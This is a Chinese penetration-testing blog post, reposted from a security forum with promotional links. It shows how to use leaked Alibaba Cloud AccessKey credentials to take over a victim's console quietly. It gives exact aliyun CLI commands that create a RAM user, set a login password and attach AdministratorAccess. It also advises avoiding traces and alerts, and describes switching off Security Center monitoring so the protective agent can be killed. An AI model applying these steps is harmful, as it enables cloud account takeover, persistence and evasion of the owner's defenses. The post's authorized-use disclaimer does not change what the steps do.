说到cli接管之前，首先得看明白阿里云官方文档，搞清楚具体流程和官方工具和api的调用方式，链接如下 

https://next.api.aliyun.com/document/Ram/2015-05-01/overview

阿里云是我个人认为公有云最简单也是最容易上手的一个云服务，在很多我们挖洞或者是攻防的过程中会遇到一些ak/sk，习惯了使用cf工具一把梭，从而触发短信或控制台告警，导致目标响应过快，达不到渗透目的，所以本篇写一下自己个人的一些小技巧和心得，如何手动接管阿里云控制台，并且不触发短信告警。

如有不当之处欢迎各位师傅批评指正~

首先看文档先调试一下

https://next.api.aliyun.com/api/Ram/2015-05-01/CreateUser?spm=api-workbench.API%20Document.0.0.6f991fc66Lk9cV&params={%22UserName%22:%22molitest%22,%22DisplayName%22:%22moli%22}&tab=DEBUG

我们在渗透或者是挖洞的过程当中，尽量不要留下痕迹以防止溯源之类的情况出现

对于RAM用户，概念不是很清楚的请参考：

https://help.aliyun.com/zh/ram/user-guide/overview-of-ram-users

用官方一点的话来说， RAM用户就是一种轻量级的身份凭证，可以用于授权和管理访问阿里云资源的权限， 每个RAM用户都有自己的登录凭证（AccessKey ID 和 Secret AccessKey），可以用ak、sk去调用它的api进行身份校验

我这里是登录了我的控制台账号，创建一个RAM用户

他这里有个在线调试的模块我个人感觉很不错，可以清晰的看到调用结果和返回的数据

星号是必填参数，其余的参数他也标出了是什么功能，我就不再赘述了，这里是创建了个molitest的用户

创建用户之后给他加一个能登录web控制台的权限，因为登录控制台肯定要密码，所以这里指定一个密码

然后我们查看一下云账号的别名，这里记一下，后续使用RAM用户登录控制台的时候会用到

然后我们查询一下所有RAM用户，确保账号添加成功

这里可以看到已经添加成功了，尝试去登录控制台

这里我们可以看到两种用户名登陆的办法，一种是用户名@《默认域名》一种是用户名@《别名》，这里的别名也就是我上文中提到的云账号别名

利用用户名和刚才查询到的别名登录，输入密码，可以看到登陆成功

但是！！！！
这里有个小问题，我们只是创建了这个用户，给他加了一个web控制台功能，但是并没有给他加权限

为什么呢？因为我的账号这里，其实我是有云上资源的，但是没有给这个molitest用户赋权，所以他看不到任何东西，账号资源如图

所以我们要给这个molitest用户进行赋权，在这之前，我们要先查看一下权限策略

他的PolicyType是System，PolicyName是AdministratorAccess,这个是阿里云默认的，也就是管理所有阿里云资源的权限，其实和cf工具的命令一样，直接接管控制台的命令也是通过这些去调用的，不过云厂商现在研究了cf的特征，导致一用cf调用ak/sk就会产生告警

闲话不多说，我们给这个用户加上权限

返回Requesid就是赋权成功了

然后我们现在来调试一下，验证我们是否赋权成功

这样我们的账号就拥有权限了，我们再去登陆试试，

ok，登陆成功

现在整个接管流程就走完一遍了，大概分以下几步

创建账号——>指定密码——>查询别名——>给用户赋权——>登录web控制台

但是在正儿八经渗透的过程中，只有一个aksk，我们可以用阿里云的cli，完成上文的操作

安装方法放这里，我用的是windows，其余的不放了，大家可以自行查询

https://help.aliyun.com/document_detail/121510.html

安装配置好环境变量之后，验证下版本，如下图所示就是安装成功了

ok那么继续我们的操作，用命令行的方式来手动接管阿里云控制台
输入ak、sk、Region就是地区，语言选择zh中文，配置好之后

出现下面这一坨welcome to use alibaba cloud就是配置成功了,上文已经讲了创建用户的流程，接下来就是用命令行操作一遍

输入 aliyun ram GetAccountAlias查询账号别名

接下来创建账号，输入

aliyun ram CreateUser --UserName molitest111

出现下面这种返回值就是创建成功了

然后调用CreateLoginProfile接口给这个账号添加web控制台的权限，并加上密码

aliyun ram CreateLoginProfile --UserName molitest111 --Password Poker安全

然后aliyun ram ListUsers 查看用户创建成功没

添加好之后，接下来调用ListPolicies接口 列出权限策略 给刚才创建的用户加上权限

记住这个PolicyName和PolicyType

调用AttachPolicyToUser 接口给用户加上权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName molitest111

出现下图就是成功了

如果命令实在是不好记 可以直接用aliyun ram，会列出当前模块的功能（太多就不截全了）

然后就是登录了，账号@别名，密码就是自己设置的密码，记不住就往上翻，这里不放登录的图了

说下怎么删除账号，因为我们是管理员权限，所以先要取消权限

aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName molitest111

然后删除用户

aliyun ram DeleteUser --UserName molitest111

再次查询用户，就不存在molitest111了

到这可能看到我这有个crossfire的账号了，想必大家也不陌生，正是cf一键接管的默认用户，这个账号是我利用cf直接创建的，产生了告警

那么相同的，刚才利用cli工具完成了接管控制台的功能，产生的动静相对较小，只会显示最低级告警，不会出现这种紧急的程度

那么这个告警的问题我们怎么避免呢

正常我们是没有办法直接结束进程阿里云的云盾的(ROOT用户也不行）

如果我们强制Kill就会收到短信告警，恶人还需恶人治，我们可以在云安全中心把所有的监控都关了，然后就可以kill掉这个进程了

来源: https://forum.butian.net/share/2545

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

欢 迎 加 入 星 球 ！

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么？赶紧点击下方名片关注学习吧！

推荐阅读

干货｜史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明

由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号渗透安全团队及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！